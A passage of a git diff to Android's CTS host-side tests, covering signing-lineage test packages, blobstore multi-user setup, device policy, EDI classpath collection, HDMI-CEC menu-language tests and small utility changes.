+LOCAL_MANIFEST_FILE := AndroidManifest-declperm2.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-shUid-cap
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
# This is the first companion package signed using the V3 signature scheme
# with a rotated key and part of a sharedUid. The capabilities of this lineage
# grant access to the previous key in the lineage to join the sharedUid.
@@ -205,6 +235,19 @@ LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_4-default-caps
include $(BUILD_CTS_SUPPORT_PACKAGE)
+# This is a version of the companion package that requests the signature permission
+# declared by the test package. This package is signed with the original signing
+# key and is intended to verify that a common signing key shared between two
+# lineages retains its capability from the package declaring the signature permission.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-1-companion-usesperm
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
+LOCAL_MANIFEST_FILE := AndroidManifest-companion-usesperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+
# This is a version of the test package that declares a signature permission
# with the knownSigner protection flag. This app is signed with the rsa-2048
# signing key with the trusted certificates being ec-p256 and ec-p256_3.
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml
new file mode 100644
index 00000000000..02b08974dfd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.appsecurity.cts.tinyapp2"
+ android:versionCode="10"
+ android:versionName="1.0"
+ android:targetSandboxVersion="2">
+
+ <permission android:name="android.appsecurity.cts.tinyapp.perm"
+ android:protectionLevel="signature" />
+
+ <application android:label="@string/app_name">
+ <activity android:name=".MainActivity"
+ android:label="@string/app_name"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
index fc355afc020..69287180e53 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java
@@ -98,6 +98,10 @@ abstract class BaseBlobStoreHostTest extends BaseHostJUnit4Test {
return device.isMultiUserSupported();
}
+ protected boolean isMultiUserSupported() throws Exception {
+ return isMultiUserSupported(getDevice());
+ }
+
protected Map<String, String> createArgsFromLastTestRun() {
final Map<String, String> args = new HashMap<>();
for (String key : new String[] {
diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
index ec13654ffb5..9a78386495d 100644
--- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
+++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java
@@ -40,9 +40,9 @@ public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest {
@BeforeClassWithInfo
public static void setUpClass(TestInformation testInfo) throws Exception {
- assumeTrue("Multi-user is not supported on this device",
- isMultiUserSupported(testInfo.getDevice()));
-
+ if(!isMultiUserSupported(testInfo.getDevice())) {
+ return;
+ }
mPrimaryUserId = testInfo.getDevice().getPrimaryUserId();
mSecondaryUserId = testInfo.getDevice().createUser("Test_User");
assertThat(testInfo.getDevice().startUser(mSecondaryUserId)).isTrue();
@@ -50,6 +50,8 @@ public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest {
@Before
public void setUp() throws Exception {
+ assumeTrue("Multi-user is not supported on this device", isMultiUserSupported());
+
for (String apk : new String[] {TARGET_APK, TARGET_APK_DEV}) {
installPackageAsUser(apk, true /* grantPermissions */, mPrimaryUserId, "-t");
installPackageAsUser(apk, true /* grantPermissions */, mSecondaryUserId, "-t");
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
index 6fa0bcb99ee..4cf186dc5ab 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java
@@ -16,13 +16,14 @@
package com.android.cts.deviceandprofileowner;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.net.Uri;
-import android.provider.Settings;
import android.os.SystemClock;
import android.os.UserManager;
import android.util.Log;
@@ -51,7 +52,8 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest {
mPackageManager = mContext.getPackageManager();
mUseFixedVolume = mContext.getResources().getBoolean(
Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
- mUseFullVolume = isFullVolumeDevice();
+ mUseFullVolume = runWithShellPermissionIdentity(() -> mAudioManager.isFullVolumeDevice(),
+ android.Manifest.permission.QUERY_AUDIO_STATE);
}
// Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume.
@@ -190,17 +192,4 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest {
Thread.sleep(200);
}
}
-
- private boolean isFullVolumeDevice() {
- String commandOutput = runShellCommand("dumpsys audio");
-
- for (String line : commandOutput.split("\\r?\\n")) {
- if (Pattern.matches("\\s*mHdmiCecSink=true", line)
- || (Pattern.matches("\\s*mHdmiPlayBackClient=", line)
- && !Pattern.matches("=null$", line))) {
- return true;
- }
- }
- return false;
- }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
index 2ed2c1a44c2..a45fa0a4b9f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
@@ -126,7 +126,8 @@ public class EnrollmentSpecificIdTest extends BaseDeviceAdminTest {
if (hardwareIdentifier == null) {
hardwareIdentifier = "";
}
- return String.format("%16s", hardwareIdentifier);
+ String hwIdentifier = String.format("%16s", hardwareIdentifier);
+ return hwIdentifier.substring(0, 16);
}
private static String getPaddedProfileOwnerName(String profileOwnerPackage) {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index de7f94e2d26..0e590c47cc4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -47,7 +47,6 @@ import org.junit.runner.RunWith;
import java.util.List;
// TODO(b/184280023): remove @RequiresDevice and @Ignores.
-@RequiresDevice
@RunWith(AndroidJUnit4.class)
public class SecondaryLockscreenTest {
@@ -139,6 +138,7 @@ public class SecondaryLockscreenTest {
verifySecondaryLockscreenIsShown();
}
+ @RequiresDevice
@Test(expected = SecurityException.class)
public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index 922745df545..a6dcb8d5b50 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -99,7 +99,6 @@ public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOw
OPERATION_SET_APPLICATION_HIDDEN,
OPERATION_SET_APPLICATION_RESTRICTIONS,
OPERATION_SET_CAMERA_DISABLED,
- OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
OPERATION_SET_GLOBAL_PRIVATE_DNS,
OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
OPERATION_SET_KEYGUARD_DISABLED,
@@ -125,6 +124,10 @@ public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOw
operations = ArrayUtils.appendInt(operations,
OPERATION_SET_TRUST_AGENT_CONFIGURATION);
}
+ if (mDevicePolicyManager.isFactoryResetProtectionPolicySupported()) {
+ operations = ArrayUtils.appendInt(operations,
+ OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY);
+ }
return operations;
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index fa044aded41..ea0932138b7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -439,6 +439,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
}
@Test
+ @FlakyTest(bugId = 187862351)
public void testGrantOfSensorsRelatedPermissions() throws Exception {
installAppPermissionAppAsUser();
executeDeviceTestMethod(".PermissionsTest", "testSensorsRelatedPermissionsCannotBeGranted");
@@ -451,6 +452,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
}
@Test
+ @FlakyTest(bugId = 187862351)
public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
installAppPermissionAppAsUser();
executeDeviceTestMethod(".PermissionsTest",
@@ -458,6 +460,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
}
@Test
+ @FlakyTest(bugId = 187862351)
public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception {
installAppPermissionAppAsUser();
executeDeviceTestMethod(".PermissionsTest",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index 27897398a2a..d157fc0bed6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -167,6 +167,7 @@ public class QuietModeHostsideTest extends BaseDevicePolicyTest {
private void clearLogcat() throws DeviceNotAvailableException {
getDevice().executeAdbCommand("logcat", "-c");
+ getDevice().executeAdbCommand("logcat", "-G", "16M");
}
private void verifyBroadcastSent(String actionName, boolean needPermissions)
diff --git a/hostsidetests/edi/AndroidTest.xml b/hostsidetests/edi/AndroidTest.xml
index 9b9ad52d291..ae2017d7468 100644
--- a/hostsidetests/edi/AndroidTest.xml
+++ b/hostsidetests/edi/AndroidTest.xml
@@ -21,10 +21,6 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsDeviceInfoTestApp.apk" />
- </target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsEdiHostTestCases.jar" />
</test>
diff --git a/hostsidetests/edi/app/AndroidManifest.xml b/hostsidetests/edi/app/AndroidManifest.xml
deleted file mode 100644
index 2f589dc1819..00000000000
--- a/hostsidetests/edi/app/AndroidManifest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2021 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.edi.cts.app"
- android:targetSandboxVersion="2">
-
- <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="31"/>
-
- <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.ACCESS_SHARED_LIBRARIES" />
-
- <application android:requestLegacyExternalStorage="true">
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation
- android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.edi.cts.app" />
-
-</manifest>
diff --git a/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java b/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java
deleted file mode 100644
index 5c22e4302ff..00000000000
--- a/hostsidetests/edi/app/src/android/edi/cts/app/ClasspathDeviceTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.edi.cts.app;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.SharedLibraryInfo;
-import android.util.Log;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.modules.utils.build.SdkLevel;
-
-import com.google.common.collect.ImmutableList;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.List;
-import java.util.Locale;
-
-/**
- * Device-side helper app for ClasspathDeviceInfo.
- *
- * <p>It is not technically a test as it simply collects information, but it simplifies the usage
- * and communication with host-side ClasspathDeviceInfo.
- */
-@RunWith(AndroidJUnit4.class)
-public class ClasspathDeviceTest {
-
- private static final String TAG = "ClasspathDeviceTest";
-
- private final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- private final Context context = instrumentation.getTargetContext();
-
- @Before
- public void before() {
- assumeTrue(SdkLevel.isAtLeastS());
- instrumentation.getUiAutomation().adoptShellPermissionIdentity();
- }
-
- @After
- public void after() {
- instrumentation.getUiAutomation().dropShellPermissionIdentity();
- }
-
- /**
- * Collects details about all shared libraries on the device and writes them to disk.
- */
- @Test
- public void collectSharedLibraryPaths() throws Exception {
- List<SharedLibraryInfo> sharedLibraries =
- context.getPackageManager().getSharedLibraries(0);
-
- ImmutableList.Builder<String> content = ImmutableList.builder();
- for (SharedLibraryInfo sharedLibrary : sharedLibraries) {
- if (!sharedLibrary.isNative()) {
- content.add(String.format(Locale.US, "%s %d %d %s",
- sharedLibrary.getName(),
- sharedLibrary.getType(),
- sharedLibrary.getLongVersion(),
- String.join(" ", sharedLibrary.getAllCodePaths())));
- }
- }
-
- Path detailsFilepath = new File("/sdcard/shared-libs.txt").toPath();
- ImmutableList<String> lines = content.build();
- Log.i(TAG, String.format("Writing details about %d shared libraries to %s",
- lines.size(), detailsFilepath));
- Files.write(detailsFilepath, lines);
- }
-
-}
diff --git a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
index 8fc1059feac..717e2e2bc0f 100644
--- a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
+++ b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
@@ -18,43 +18,44 @@ package android.edi.cts;
import static android.compat.testing.Classpaths.ClasspathType.BOOTCLASSPATH;
import static android.compat.testing.Classpaths.ClasspathType.SYSTEMSERVERCLASSPATH;
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
import android.compat.testing.Classpaths;
import android.compat.testing.Classpaths.ClasspathType;
+import android.compat.testing.SharedLibraryInfo;
import com.android.compatibility.common.util.DeviceInfo;
import com.android.compatibility.common.util.HostInfoStore;
import com.android.modules.utils.build.testing.DeviceSdkLevel;
+import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.FileUtil;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableSet;
import org.jf.dexlib2.iface.ClassDef;
+import java.io.File;
+import java.io.IOException;
+import java.util.stream.IntStream;
+
/**
* Collects information about Java classes present in *CLASSPATH variables and Java shared libraries
* from the device.
*/
public class ClasspathDeviceInfo extends DeviceInfo {
- private static final String HELPER_APP_PACKAGE = "android.edi.cts.app";
- private static final String HELPER_APP_CLASS = HELPER_APP_PACKAGE + ".ClasspathDeviceTest";
-
private ITestDevice mDevice;
- private DeviceSdkLevel deviceSdkLevel;
+ private DeviceSdkLevel mDeviceSdkLevel;
+ private final Object mStoreLock = new Object();
@Override
protected void collectDeviceInfo(HostInfoStore store) throws Exception {
mDevice = getDevice();
- deviceSdkLevel = new DeviceSdkLevel(mDevice);
+ mDeviceSdkLevel = new DeviceSdkLevel(mDevice);
store.startArray("jars");
collectClasspathsJars(store);
- collectSharedLibraryJars(store);
+ collectSharedLibraries(store);
store.endArray();
}
@@ -67,69 +68,119 @@ public class ClasspathDeviceInfo extends DeviceInfo {
private void collectClasspathJarInfo(HostInfoStore store, ClasspathType classpath)
throws Exception {
ImmutableList<String> paths = Classpaths.getJarsOnClasspath(mDevice, classpath);
- for (int i = 0; i < paths.size(); i++) {
+ IntStream.range(0, paths.size())
+ .parallel()
+ .mapToObj(i -> new JarInfo(i, paths.get(i)))
+ .peek(JarInfo::pullRemoteJar)
+ .peek(JarInfo::parseClassDefs)
+ .forEach(jarInfo -> {
+ synchronized (mStoreLock) {
+ try {
+ store.startGroup();
+ store.addResult("classpath", classpath.name());
+ store.addResult("path", jarInfo.mPath);
+ store.addResult("index", jarInfo.mIndex);
+ collectClassInfo(store, jarInfo.mClassDefs);
+ store.endGroup();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ } finally {
+ FileUtil.deleteFile(jarInfo.mLocalCopy);
+ }
+ }
+ });
+ }
+
+ private void collectSharedLibraries(HostInfoStore store) throws Exception {
+ if (!mDeviceSdkLevel.isDeviceAtLeastS()) {
+ return;
+ }
+ Classpaths.getSharedLibraryInfos(mDevice, getBuild())
+ .stream()
+ .parallel()
+ .flatMap(sharedLibraryInfo -> IntStream.range(0, sharedLibraryInfo.paths.size())
+ .parallel()
+ .mapToObj(i ->
+ new JarInfo(i, sharedLibraryInfo.paths.get(i), sharedLibraryInfo))
+ )
+ .filter(JarInfo::doesRemoteFileExist)
+ .peek(JarInfo::pullRemoteJar)
+ .peek(JarInfo::parseClassDefs)
+ .forEach(jarInfo -> {
+ synchronized (mStoreLock) {
+ try {
+ store.startGroup();
+ store.startGroup("shared_library");
+ store.addResult("name", jarInfo.mSharedLibraryInfo.name);
+ store.addResult("type", jarInfo.mSharedLibraryInfo.type);
+ store.addResult("version", jarInfo.mSharedLibraryInfo.version);
+ store.endGroup(); // shared_library
+ store.addResult("path", jarInfo.mPath);
+ store.addResult("index", jarInfo.mIndex);
+ collectClassInfo(store, jarInfo.mClassDefs);
+ store.endGroup();
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ } finally {
+ FileUtil.deleteFile(jarInfo.mLocalCopy);
+ }
+ }
+ });
+ }
+
+
+ private void collectClassInfo(HostInfoStore store, ImmutableSet<ClassDef> defs)
+ throws IOException {
+ store.startArray("classes");
+ for (ClassDef classDef : defs) {
store.startGroup();
- store.addResult("classpath", classpath.name());
- store.addResult("path", paths.get(i));
- store.addResult("index", i);
- collectClassInfo(store, paths.get(i));
+ store.addResult("name", classDef.getType());
store.endGroup();
}
+ store.endArray();
}
- private void collectSharedLibraryJars(HostInfoStore store) throws Exception {
- if (!deviceSdkLevel.isDeviceAtLeastS()) {
- return;
+ /** Helper class to represent a jar file during stream transformations. */
+ private final class JarInfo {
+ final int mIndex;
+ final String mPath;
+ final SharedLibraryInfo mSharedLibraryInfo;
+ ImmutableSet<ClassDef> mClassDefs;
+ File mLocalCopy;
+
+ private JarInfo(int index, String path) {
+ this(index, path, null);
}
- // Trigger helper app to collect and write info about shared libraries on the device.
- assertThat(runDeviceTests(HELPER_APP_PACKAGE, HELPER_APP_CLASS)).isTrue();
+ private JarInfo(int index, String path, SharedLibraryInfo sharedLibraryInfo) {
+ this.mIndex = index;
+ this.mPath = path;
+ this.mSharedLibraryInfo = sharedLibraryInfo;
+ }
- String remoteFile = "/sdcard/shared-libs.txt";
- String content;
- try {
- content = mDevice.pullFileContents(remoteFile);
- } finally {
- mDevice.deleteFile(remoteFile);
+ private boolean doesRemoteFileExist() {
+ try {
+ return mDevice.doesFileExist(mPath);
+ } catch (DeviceNotAvailableException e) {
+ throw new RuntimeException(e);
+ }
}
- for (String line : content.split("\n")) {
- String[] words = line.split(" ");
- assertWithMessage(
- "expected each line to be in the format: <name> <type> <version> <path>...")
- .that(words.length)
- .isAtLeast(4);
- String libraryName = words[0];
- String libraryType = words[1];
- String libraryVersion = words[2];
- for (int i = 3; i < words.length; i++) {
- String path = words[i];
- if (!mDevice.doesFileExist(path)) {
- CLog.w("Shared library is not present on device " + path);
- continue;
- }
-
- store.startGroup();
- store.startGroup("shared_library");
- store.addResult("name", libraryName);
- store.addResult("type", libraryType);
- store.addResult("version", libraryVersion);
- store.endGroup(); // shared_library
- store.addResult("path", path);
- store.addResult("index", i - 3); // minus <name> <type> <version>
- collectClassInfo(store, path);
- store.endGroup();
+ private void pullRemoteJar() {
+ try {
+ mLocalCopy = mDevice.pullFile(mPath);
+ } catch (DeviceNotAvailableException e) {
+ throw new RuntimeException(e);
}
}
- }
- private void collectClassInfo(HostInfoStore store, String path) throws Exception {
- store.startArray("classes");
- for (ClassDef classDef : Classpaths.getClassDefsFromJar(mDevice, path)) {
- store.startGroup();
- store.addResult("name", classDef.getType());
- store.endGroup();
+ private void parseClassDefs() {
+ try {
+ mClassDefs = Classpaths.getClassDefsFromJar(mLocalCopy);
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
}
- store.endArray();
}
+
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
index c5f5b36e077..561b57578c0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
@@ -99,9 +99,6 @@ public final class HdmiCecDeviceOsdNameTest extends BaseHdmiCecCtsTest {
*/
@Test
public void cect_11_2_11_2_UnregisteredDeviceGiveOsdNameTest() throws Exception {
- hdmiCecClient.sendCecMessage(LogicalAddress.PLAYBACK_1, CecOperand.GIVE_OSD_NAME);
- hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.PLAYBACK_1,
- CecOperand.SET_OSD_NAME);
hdmiCecClient.sendCecMessage(LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME);
hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST,
CecOperand.SET_OSD_NAME);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
index bb8afa8276c..1f4a27054fe 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
@@ -18,6 +18,7 @@ package android.hdmicec.cts.playback;
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.hdmicec.cts.BaseHdmiCecCtsTest;
@@ -124,4 +125,33 @@ public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
setSystemLocale(locale);
}
}
+
+ /**
+ * ro.hdmi.set_menu_language should always be false, due to issues with misbehaving TVs.
+ * To be removed when better handling for <SET MENU LANGUAGE> is implemented in b/195504595.
+ */
+ @Test
+ public void setMenuLanguageIsDisabled() throws Exception {
+ assertThat(isLanguageEditable()).isFalse();
+ }
+
+ /**
+ * Tests that <SET MENU LANGUAGE> from a valid source is ignored when ro.hdmi.set_menu_language
+ * is false.
+ */
+ @Test
+ public void setMenuLanguageNotHandledWhenDisabled() throws Exception {
+ assumeFalse(isLanguageEditable());
+ final String locale = getSystemLocale();
+ final String originalLanguage = extractLanguage(locale);
+ final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+ try {
+ hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
+ CecOperand.SET_MENU_LANGUAGE, CecMessage.convertStringToHexParams(language));
+ TimeUnit.SECONDS.sleep(5);
+ assertThat(extractLanguage(getSystemLocale())).isEqualTo(originalLanguage);
+ } finally {
+ setSystemLocale(locale);
+ }
+ }
}
diff --git a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
index ebb4191676f..3ff1bfeca2d 100644
--- a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java
@@ -31,6 +31,7 @@ import android.service.usb.UsbSettingsDevicePreferenceProto;
import android.service.usb.UsbSettingsManagerProto;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
/**
* Tests for the UsbService proto dump.
@@ -51,7 +52,10 @@ public class UsbIncidentTest extends ProtoDumpTestCase {
public void testUsbServiceDump() throws Exception {
// Devices that don't support USB functionality won't dump a USB service proto.
- assumeTrue("Device doesn't support USB functionality.", hasUsbFunctionality(getDevice()));
+ if (!hasUsbFunctionality(getDevice())) {
+ CLog.i("Device doesn't support USB functionality.");
+ return;
+ }
final UsbServiceDumpProto dump = getDump(UsbServiceDumpProto.parser(),
"dumpsys usb --proto");
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java
index 85b4b1c1342..3357bd8f696 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/ComponentNameUtils.java
@@ -19,7 +19,7 @@ package android.inputmethodservice.cts.common;
/**
* Utility class to build Android's component name.
*/
-final class ComponentNameUtils {
+public final class ComponentNameUtils {
// This is utility class, can't instantiate.
private ComponentNameUtils() {}
@@ -35,4 +35,14 @@ final class ComponentNameUtils {
return packageName + "/" + (className.startsWith(packageName)
? className.substring(packageName.length()) : className);
}
+
+ /**
+ * Retrieve a name of a package from an Android {@code componentName}
+ * ({@code packageName/className}).
+ * @param componentName name of an Android component.
+ * @return the name of the package the component belongs.
+ */
